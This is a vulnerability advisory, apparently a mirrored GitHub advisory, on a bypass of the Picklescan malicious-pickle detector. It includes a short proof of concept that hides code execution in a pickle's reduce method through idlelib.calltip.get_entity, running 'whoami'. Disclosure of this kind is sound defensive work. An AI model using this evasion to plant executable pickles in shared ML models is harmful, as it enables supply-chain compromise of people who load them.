PT-2025-36707 · Pypi · Picklescan

Publicado

2025-08-26

·

Atualizado

2025-08-26

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Summary

Using idlelib.calltip.get entity function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.calltip.get entity function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from idlelib.calltip import get entity

class EvilCalltipGetEntity:
  def  reduce (self):
    # get entity(expression) -> eval(expression)
    return get entity, (" import ('os').system('whoami')",)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

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Identificadores relacionados

GHSA-9XPH-J2H6-G47V

Produtos afetados

Picklescan